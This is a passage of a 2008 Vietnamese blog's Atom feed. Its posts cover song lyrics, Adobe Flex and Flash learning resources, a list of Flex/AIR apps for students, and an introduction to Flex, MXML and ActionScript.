STEVIE HOANG'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-2708200628985230268</id><published>2008-11-24T22:02:00.003+07:00</published><updated>2008-11-24T22:33:58.864+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Music Collection'/><title type='text'>Angel Of Mine</title><content type='html'>&lt;center&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/HI0YCk2aQQ8&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/HI0YCk2aQQ8&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/center&gt;&lt;br&gt;&lt;br /&gt;Click Read More to see the lyric.&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;    When I first saw You I already knew&lt;br /&gt;    There was something inside of You&lt;br /&gt;    Something I thought that I would never find&lt;br /&gt;    Angel of mine&lt;br /&gt;&lt;br /&gt;    I look at You lookin' at me&lt;br /&gt;    Now I know why they say&lt;br /&gt;         the best things are free&lt;br /&gt;    I'm gonna love You boy, You are so fine&lt;br /&gt;    Angel of Mine&lt;br /&gt;    The Boy Is Mine, by Monica&lt;br /&gt;&lt;br /&gt;    How You changed my world, You'll never know&lt;br /&gt;    I'm different now, You helped me grow&lt;br /&gt;    You came into my life sent from Above&lt;br /&gt;    When I lost all hope you showed me Love&lt;br /&gt;    I'm checkin' for Ya, boy You're right on time&lt;br /&gt;    Angel of Mine&lt;br /&gt;&lt;br /&gt;    Nothing means more to me than what we share&lt;br /&gt;    No one in this whole world can ever compare&lt;br /&gt;    Last night the way You moved&lt;br /&gt;         is still on my mind&lt;br /&gt;    Angel of Mine&lt;br /&gt;&lt;br /&gt;    What You mean to me You'll never know&lt;br /&gt;    Deep inside I need to show&lt;br /&gt;    You came into my life sent from Above&lt;br /&gt;    When I lost all hope, You showed me Love&lt;br /&gt;    I'm checkin' for Ya, boy You're right on time&lt;br /&gt;    Angel of Mine&lt;br /&gt;&lt;br /&gt;    I never knew I could feel these moments&lt;br /&gt;    As if they were new,&lt;br /&gt;    Every breath that I take,&lt;br /&gt;         the Love that we make&lt;br /&gt;    I only share it with You, You, You, You, You&lt;br /&gt;    When I first saw You I already knew&lt;br /&gt;    There was something inside of You&lt;br /&gt;    Something I thought that I would never find&lt;br /&gt;    Angel of Mine&lt;br /&gt;&lt;br /&gt;    You came into my life sent from Above&lt;br /&gt;    When I lost all hope You showed me Love&lt;br /&gt;    I'm checkin' for ya, boy You're right on time&lt;br /&gt;    Angel of Mine&lt;br /&gt;&lt;br /&gt;    How you changed my world You'll never know&lt;br /&gt;    I'm different now, You helped me grow&lt;br /&gt;&lt;br /&gt;    I look at You lookin' at me&lt;br /&gt;    Now I know why they say&lt;br /&gt;         the best things are free&lt;br /&gt;    I'm checkin' for Ya, boy You're right on time&lt;br /&gt;    Angel of Mine&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-2708200628985230268?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/2708200628985230268/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2008/11/angel-of-mine.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2708200628985230268'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2708200628985230268'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2008/11/angel-of-mine.html' title='Angel Of Mine'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-827438003205369618</id><published>2008-10-10T13:06:00.001+07:00</published><updated>2008-10-10T13:08:08.194+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='flex'/><category scheme='http://www.blogger.com/atom/ns#' term='ria'/><category scheme='http://www.blogger.com/atom/ns#' term='silverlight vs flex/ria'/><category scheme='http://www.blogger.com/atom/ns#' term='silverlight'/><title type='text'>Thống kê trực tuyến về thị phần RIA giữa Flash/Flex vs Silverlight</title><content type='html'>&lt;span class="submitted"&gt;&lt;/span&gt;&lt;a href="http://riastats.com/"&gt;RIAstats.com&lt;/a&gt; là ứng dụng thống kê trực tuyến dưới dạng biểu đồ cho phép phân tích việc triển khai máy ảo Flash/Flex và Silverlight trên các hệ điều hành và trình duyệt. Bạn cũng có thể nhận tin thống kê về &lt;a href="http://riastats.com/"&gt;RIAstats.com&lt;/a&gt; trên website của bạn - miễn phí!&lt;div class="content clear-block"&gt; &lt;p style="text-align: center;" class="rtecenter"&gt;&lt;img alt="" src="http://www.riavietnam.com/images/image/riastats_sm.jpg" width="420" height="201" /&gt;&lt;/p&gt; &lt;p style="text-align: center;" class="rtecenter"&gt;&lt;img alt="" src="http://www.riavietnam.com/images/image/riastats2_sm.jpg" width="420" height="201" /&gt;&lt;/p&gt;&lt;p style="text-align: right;" class="rtecenter"&gt;&lt;span style="font-style: italic;"&gt;http://www.riavietnam.com/node/139&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;   &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-827438003205369618?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/827438003205369618/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2008/10/thng-k-trc-tuyn-v-th-phn-ria-gia.html#comment-form' title='2 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/827438003205369618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/827438003205369618'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2008/10/thng-k-trc-tuyn-v-th-phn-ria-gia.html' title='Thống kê trực tuyến về thị phần RIA giữa Flash/Flex vs Silverlight'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-5737708563980014064</id><published>2008-10-10T12:34:00.004+07:00</published><updated>2008-10-10T12:42:03.388+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='learn flex'/><category scheme='http://www.blogger.com/atom/ns#' term='flex'/><category scheme='http://www.blogger.com/atom/ns#' term='ria'/><category scheme='http://www.blogger.com/atom/ns#' term='learn flex online'/><category scheme='http://www.blogger.com/atom/ns#' term='học flex'/><title type='text'>Flex - Watch and learn now!</title><content type='html'>Flash Extensions is dedicated in providing video tutorials focused around developing and deploying the Flash Platform including Flash, Flex, ActionScript and relating technologies. We all know that mastering Flash is not enough. That is why we also cover topics on how to integrate Flash with desktop and server-side applications such as PHP, AMF Remoting, real-time communication (such as Red 5) and more. The current library has over 200 video tutorials on various topics. Each is delivered with information that can only be obtained through experience in the work field. Now that information is available to you!&lt;br /&gt;&lt;br /&gt;&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="520" height="520"&gt;&lt;br /&gt;       &lt;param name="movie" value="http://www.flashextensions.com/flx/flash/quickvideoaccess.swf?v=1206"&gt;&lt;br /&gt;       &lt;param name="quality" value="high"&gt;&lt;br /&gt;       &lt;embed src="http://www.flashextensions.com/flx/flash/quickvideoaccess.swf?v=1206" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="520" height="520"&gt;&lt;/embed&gt;&lt;br /&gt;     &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Original link url: &lt;a href="http://www.flashextensions.com/tutorials.php"&gt;http://www.flashextensions.com/tutorials.php&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-5737708563980014064?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/5737708563980014064/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2008/10/flex-watch-and-learn-now.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/5737708563980014064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/5737708563980014064'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2008/10/flex-watch-and-learn-now.html' title='Flex - Watch and learn now!'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-365601897684432223</id><published>2008-10-10T12:29:00.001+07:00</published><updated>2008-10-10T12:32:00.659+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='learn flex'/><category scheme='http://www.blogger.com/atom/ns#' term='flex'/><category scheme='http://www.blogger.com/atom/ns#' term='ria'/><category scheme='http://www.blogger.com/atom/ns#' term='học flex'/><title type='text'>Flex in a Week - Học Adobe Flex trong vòng một tuần [FREE]</title><content type='html'>&lt;div class="content clear-block"&gt;     &lt;p&gt;Nếu bạn đang nghĩ về việc học Flex nhưng lại cảm thấy quá khó, chi phí học quá đắt hoặc tốn nhiều thời gian, &lt;a href="http://www.adobe.com/devnet/flex/videotraining/"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Flex in a Week&lt;/span&gt;&lt;/u&gt;&lt;/a&gt; của Adobe sẽ có cách hổ trợ bạn.&lt;/p&gt; &lt;p&gt;&lt;a href="http://www.adobe.com/devnet/flex/videotraining/"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Flex in a Week&lt;/span&gt;&lt;/u&gt;&lt;/a&gt; là chương trình dạy học miễn phí thông qua serie video hướng dẫn để bạn có thể học và tự đánh giá. Chương trình được xây dựng trên những bài tập cơ bản và mang đến thêm những khái nhiệm dành cho người học trung cấp. Tất cả là đủ để bạn bắt đầu!&lt;/p&gt; &lt;p&gt;Nếu bạn đi đến khó khăn hoặc có thắc mắc, bạn có thể đặt câu hỏi tại diễn đàn &lt;a href="http://www.adobe.com/cfusion/webforums/forum/categories.cfm?forumid=60&amp;amp;catid=833&amp;amp;entercat=y"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Flex in a Week forum&lt;/span&gt;&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Xin gửi lời cám ơn đến  &lt;a href="http://weblogs.macromedia.com/mchotin/"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Matt Chotin&lt;/span&gt;&lt;/u&gt;&lt;/a&gt; và nhóm cộng đồng Flex, &lt;a href="http://www.onflex.org/ted/index.php"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Ted Patrick&lt;/span&gt;&lt;/u&gt;&lt;/a&gt;  và nhóm quản trị cộng đồng, cũng như &lt;a href="http://www.brightcove.com/about_brightcove/index.cfm"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Jeremy Allaire&lt;/span&gt;&lt;/u&gt;&lt;/a&gt; và &lt;a href="http://www.brightcove.com/"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Brightcove posse&lt;/span&gt;&lt;/u&gt;&lt;/a&gt;, đã làm tất cả để &lt;a href="http://www.adobe.com/devnet/flex/videotraining/"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Flex in a Week&lt;/span&gt;&lt;/u&gt;&lt;/a&gt; có thể đến với bạn. &lt;img class="wp-smiley" alt=":-)" src="http://blog.schematic.com.au/wp-includes/images/smilies/icon_smile.gif" /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="font-style: italic;"&gt;Thông tin được lược dịch từ blog.schematic.com.au&lt;/p&gt;   &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-365601897684432223?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/365601897684432223/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2008/10/flex-in-week-hc-adobe-flex-trong-vng-mt.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/365601897684432223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/365601897684432223'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2008/10/flex-in-week-hc-adobe-flex-trong-vng-mt.html' title='Flex in a Week - Học Adobe Flex trong vòng một tuần [FREE]'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-4548523836124979772</id><published>2008-10-10T12:05:00.001+07:00</published><updated>2008-10-10T12:27:36.170+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='learn flex'/><category scheme='http://www.blogger.com/atom/ns#' term='flex application'/><category scheme='http://www.blogger.com/atom/ns#' term='flex'/><category scheme='http://www.blogger.com/atom/ns#' term='ria'/><title type='text'>Top 10 ứng dụng Flex và Air dành cho sinh viên</title><content type='html'>&lt;div class="content clear-block"&gt;     &lt;p&gt;Là sinh viên học Đại học là một kinh nghiệm tuyệt vời. Việc chuẩn bị cho một chương mới cho cuộc sống, và sau đó là đạt được sự độc lập. Tuy nhiên, trong suốt quãng đời sinh viên, bạn sẽ thấy những khó khăn như học phí quá đắt, và bạn phải làm thêm để vượt qua điều đó. Areez Gangji, sinh viên của Adobe tại đại học Carleton , sẽ giới thiệu đến bạn Top 10 ứng dụng Flex và Air dành cho sinh viên. Những ứng dụng này sẽ hổ trợ rất nhiều cho các sinh viên trong việc học tập và giải trí (nói như vậy không có nghĩa bạn không thể sử dụng các ứng dụng này nếu bạn không phải là sinh viên):&lt;/p&gt; &lt;h3&gt;10. &lt;a target="_blank" href="http://www.timetoast.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;Timetoast&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Phải ghi nhớ rất nhiều ngày tháng với những sự kiện quan trọng. Timetoast sẽ giúp bạn tổ chức chúng một cách dễ nhớ. Thêm vào ngày tháng với những miêu tả, ghi chú và Timetoast sẽ sắp xếp theo thứ tự cây thước thời gian. Bạn cũng có thể thêm hình ảnh và chọn cây thước thời gian mà các người dủng khác tạo ra.&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://www.timetoast.com/"&gt;&lt;img alt="Timetoast" src="http://www.riavietnam.com/images/image/Top10-1.jpg" width="400" height="328" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;9. &lt;a target="_blank" href="http://www.cldesktop.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;Craig's List Desktop&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;CL Desktop giúp bạn tìm kiếm một cách dễ hơn. Hình ảnh được thể hiện trong danh sách. Việc tìm kiếm cũng có nhiều lực chọn hơn.&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://www.cldesktop.com/"&gt;&lt;img alt="Craig's List Desktop" src="http://www.riavietnam.com/images/image/Top10-2.jpg" width="430" height="403" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;8. &lt;a target="_blank" href="http://www.tweetdeck.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;TweetDeck&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Twitter là mạng xã hội để bạn nói với cả thế giới về những điều bạn đang nghĩ hay đang làm. TweetDeck là ứng dụng hổ trợ Twitter của bạn. Nó để bạn đọc và viết tweets ngoài các trình duyệt và có thể giấu nó ở một góc trên màn hình để không phiền hà đến các công việc khác của bạn.&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://www.tweetdeck.com/"&gt;&lt;img alt="TweetDeck" src="http://www.riavietnam.com/images/image/Top10-3.jpg" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;7. &lt;a target="_blank" href="http://www.iexpenseonline.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;IExpenseOnline&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;IExpenseOnline giống như một tư vấn tài chính trong máy tính. Nó giúp theo dõi chi phí, thu nhập và cung cấp các mẹo vặt để cắt giảm chi phí, tiết kiệm tiền của bạn. Đặc biệt, với những biểu đồ thống kê sẽ giúp mô tả cho những người quan tâm đến tài chính của bạn.&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://www.iexpenseonline.com/"&gt;&lt;img alt="IExpenseOnline" src="http://www.riavietnam.com/images/image/Top10-4.jpg" width="414" height="473" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;6. &lt;a target="_blank" href="http://tokbox.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;TokBox&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Cám ơn TokBox, vì bạn sẽ không bao giờ phải mua một thẻ gọi khác nữa. TokBox cho bạn gọi bất cứ ai với một địa chỉ email và để lại tin nhắn. Bạn có thể truy cập danh sách mối quan hệ (contact list) từ MSN, AIM, ... Bạn còn có thể thu âm, ghi phim khi bạn có web cam để chia sẻ với gia đình và bạn bè.&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;img alt="TokBox" src="http://www.riavietnam.com/images/image/Top10-5.jpg" /&gt;&lt;/p&gt; &lt;h3&gt;5. &lt;a target="_blank" href="http://www.photoshopexpress.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;Photoshop Express&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Với Photoshop Express, chắc bạn sẽ biết là ứng dụng gì?. Nếu không thì bạn hãy xem phần giới thiệu trong các bài viết &lt;a title="Sử dụng trình biên tập ảnh Photoshop trực tuyến" href="http://www.riavietnam.com/node/61"&gt;Sử dụng trình biên tập ảnh Photoshop trực tuyến&lt;/a&gt;, &lt;a title="Adobe nâng cấp phiên bản trực tuyến Photoshop Express" href="http://www.riavietnam.com/node/115"&gt;Adobe nâng cấp phiên bản trực tuyến Photoshop Express&lt;/a&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;a target="_blank" href="http://www.photoshopexpress.com/"&gt;&lt;img alt="Photoshop Express" src="http://www.riavietnam.com/images/image/Top10006.jpg" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;4. &lt;a target="_blank" href="http://mooflair.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;mooFlair&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;mooFlair là một trong dịch vụ cung cấp video tốt nhất cho desktop. Nó cho phép bạn liên tục xem video trong khi tìm kiếm những gì bạn mong muốn xem kế tiếp, tạo &amp;amp; truy cập playlists, và download videos về máy để sử dụng với iPod.&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://mooflair.com/"&gt;&lt;img alt="mooFlair" src="http://www.riavietnam.com/images/image/Top10007.jpg" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;3. &lt;a target="_blank" href="http://finetune.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;Finetune&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Internet radio trở nên tốt hơn với Finetune, một trong 100 Webware hay nhất hiện nay, là dịch vụ chia sẻ nhạc. Bạn có thể đọc thêm tại bài viết &lt;a title="Nghe nhạc với Finetune Desktop" href="http://www.riavietnam.com/node/69"&gt;Nghe nhạc với Finetune Desktop&lt;/a&gt;&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://finetune.com/"&gt;&lt;img alt="Finetune" src="http://www.riavietnam.com/images/image/Top10-8.jpg" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;2. &lt;a target="_blank" href="http://acrobat.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;Acrobat.com&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Acrobat.com là sản phẩm của Adobe mà giúp bạn làm việc theo cách nhóm việc với những chức năng:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;strong&gt;Buzzword:&lt;/strong&gt; ứng dụng soạn thảo tài liệu trực tuyến mà bạn có thể nhập vào bất cứ trình soạn thảo văn bản nào (.txt, .doc ...). Bạn có thể chia sẻ với mọi người, cho phép họ đọc, bình luận hay thậm chí chỉnh sữa và bạn đừng lo vì bạn có thể khôi phục lại bất cứ thay đổi nào.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Adobe ConnectNow:&lt;/strong&gt; Chia sẻ desktop của bạn với bất cứ ai trong buổi họp với các công cụ chat trực tuyến , nhắn tin và dủng webcam. Nó là ứng dụng hữu ích cho các cuộc họp ảo.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Adobe Share:&lt;/strong&gt; Không chỉ cho bạn 5 GB không gian lưu trữ miễn phí, mà còn cho phép bạn chia sẻ file với mọi người khi họ có email!&lt;/li&gt;&lt;/ul&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://acrobat.com/"&gt;&lt;img alt="Acrobat.com" src="http://www.riavietnam.com/images/image/Top10009.jpg" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;1. &lt;a target="_blank" href="http://mediamaster.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;MediaMaster&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Bạn có thể tưởng tượng việc ổ cứng bị rớt và bị mất hết dữ liệu bao gồm tài liệu, hình ảnh, trò chơi và đặc biệt đó là những bài nhạc bạn yêu thích? MediaMaster không thể giúp bạn cứu vớt những dữ liệu đó nhưng có thể giúp bạn lưu trữ thư viện nhạc để bạn không phải chép/tải hay mua lại chúng. Bạn cũng có thể tìm nghe các danh sách nhạc của những người dùng khác.&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://mediamaster.com/"&gt;&lt;img alt="MediaMaster" src="http://www.riavietnam.com/images/image/Top10010.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="rtecenter"&gt;Theo Adobe tại:&lt;br /&gt;&lt;a href="http://www.adobe.com/devnet/flex/articles/apps_students.html?devcon=f2"&gt;http://www.adobe.com/devnet/flex/articles/apps_students.html?devcon=f2&lt;/a&gt;&lt;/p&gt;   &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-4548523836124979772?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/4548523836124979772/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2008/10/top-10-ng-dng-flex-v-air-dnh-cho-sinh.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/4548523836124979772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/4548523836124979772'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2008/10/top-10-ng-dng-flex-v-air-dnh-cho-sinh.html' title='Top 10 ứng dụng Flex và Air dành cho sinh viên'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-8352687127849167355</id><published>2008-10-10T12:01:00.001+07:00</published><updated>2008-10-10T12:05:13.232+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='learn flex'/><category scheme='http://www.blogger.com/atom/ns#' term='flex'/><category scheme='http://www.blogger.com/atom/ns#' term='ria'/><title type='text'>Flex - Tương lai của RIA</title><content type='html'>Trong thời gian gần đây, sự xuất hiện và phát triển mạnh mẽ của công nghệ AJAX đã làm cho nhu cầu RIA (Rich Internet Application) gia tăng mạnh mẽ.                                                            &lt;div class="attribute-short"&gt;                 &lt;/div&gt;                                          &lt;div class="attribute-long"&gt;                   &lt;p&gt;Flash cũng là 1 công nghệ có thể xây dựng RIA bằng các ứng dụng Flash form nhưng tính tiện dụng của Flash là chưa cao. Adobe nhận thấy yếu điểm này của Flash nên đã nghiên cứu và cho ra đời công nghệ Flex . Phiên bản Flex 1.0 và 1.5 trước đây mặc dù còn nhiều yếu điểm song vẫn thu hút nhiều nhà thiết kế bởi cấu trúc mã lệnh và xử lý dữ liệu đơn giản, tầng trình diễn mạnh và quan trọng nhất là nó liên kết chặt chẽ với Flash, 1 công nghệ hiện đang rất phổ biến và tiện dụng. Sự kiện đánh dấu bước nhảy vọt của công nghệ Flex chính là giải thuởng 2007 Technology of the Year Awards trong lĩnh vực RIA dành cho phiên bản Flex 2.0 do tạp chí Info World tổ chức.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;1. Thành phần của Flex&lt;/b&gt;&lt;b&gt; &lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Flex 2.0 là sự kết hợp 2 công nghệ chính Multimedia eXtensible Markup Language (MXML) và Action Script dựa trên nền tảng phát triển Eclipse. Ngoài ra, còn một thành phần rất quan trọng khác của nền tảng Flex 2.0 là Dịch vụ dữ liệu Flex (Flex Data Services – FDS), được đưa ra để thay thế máy chủ trình diễn Flex (Flex Presentation Server) ở các phiên bản Flex trước đây&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&lt;b&gt;MXML&lt;/b&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Là ngôn ngữ dựa trên XML giúp tạo ra các ứng dụng Flex. Cấu trúc của MXML khá giống với HTML, ta có thể xem qua ví dụ nhỏ sau:&lt;/p&gt;  &lt;p&gt;&lt;i&gt;&lt;mx:button x="100" y="100" label="Submit Now" id="btn_submit" click="CheckForm()"&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p&gt;Nhìn vào đoạn mã trên, đối với những người có chút kiến thức về IT có thể hiểu ngay nó dùng làm gì. Tương tự với HTML, các file MXML cũng cho phép nhúng các đoạn script vào trong và gọi ở nơi thích hợp. Chỉ khác ở chỗ là HTML sử dụng Java còn MXML thì sử dụng &lt;b&gt;Action Script. &lt;/b&gt;MXML mạnh hơn rất nhiều so với HTML bởi ngoài khả năng sử dụng các thành phần (component) phong phú được tạo sẵn, ta còn có thể tạo ra các component cũng như event . Có thể nói MXML mạnh mẽ không kém gì các ngôn ngữ lập trình thông thường hiện nay. Việc kết hợp các file MXML với nhau là việc rất dễ dàng, chính vì thế việc tái sử dụng hay xây dựng template cho 1 website trở nên nhẹ nhàng hơn.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&lt;b&gt;Action Script 3.0&lt;/b&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Action script 3.0 hỗ trợ mô hình lập trình hướng đối tượng (OOP) hoàn chỉnh, giới thiệu các kiểu dữ liệu cơ bản và đặc biệt là từ khóa sealed class giúp tăng hiệu năng của ứng dụng. Hơn hẳn các ngôn ngữ script khác, action script có hẳn một thư viện đồ họa giúp vẽ các ảnh vector và tạo effect lúc runtime. Action script + MXMLl kết hợp với thư viện component đồ sộ của flex giúp tạo ra các ứng dụng web cực kì mạnh mẽ về tính năng và mỹ thuật.&lt;/p&gt;  &lt;p&gt;FDS&lt;/p&gt;  &lt;p&gt;FDS có thể chạy tốt trên nhiều nền tảng khác nhau như Windows, Linux, Unix và làm việc tốt với hầu hết các máy chủ ứng dụng Java. FDS cung cấp một số công cụ quản trị và giám sát cơ bản có thể truy nhập thông qua trình duyệt. Tuy nhiên, FDS được đưa ra chủ yếu để triển khai và chạy các ứng dụng Flex, tăng khả năng tích hợp và liên 